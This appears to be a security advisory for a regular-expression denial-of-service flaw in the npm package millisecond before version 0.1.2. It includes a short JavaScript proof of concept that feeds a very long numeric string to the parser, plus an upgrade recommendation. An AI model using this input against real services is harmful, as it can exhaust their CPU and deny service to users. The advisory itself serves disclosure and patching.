GHSA-m489-xr35-fjxrMediumDisclosed before NVD
Regular Expression Denial of Service in millisecond
📋 Description
Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of concept
var ms = require('millisecond');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Recommendation
Update to version 0.1.2 or later.
🎯 Affected products1
- npm/millisecond:< 0.1.2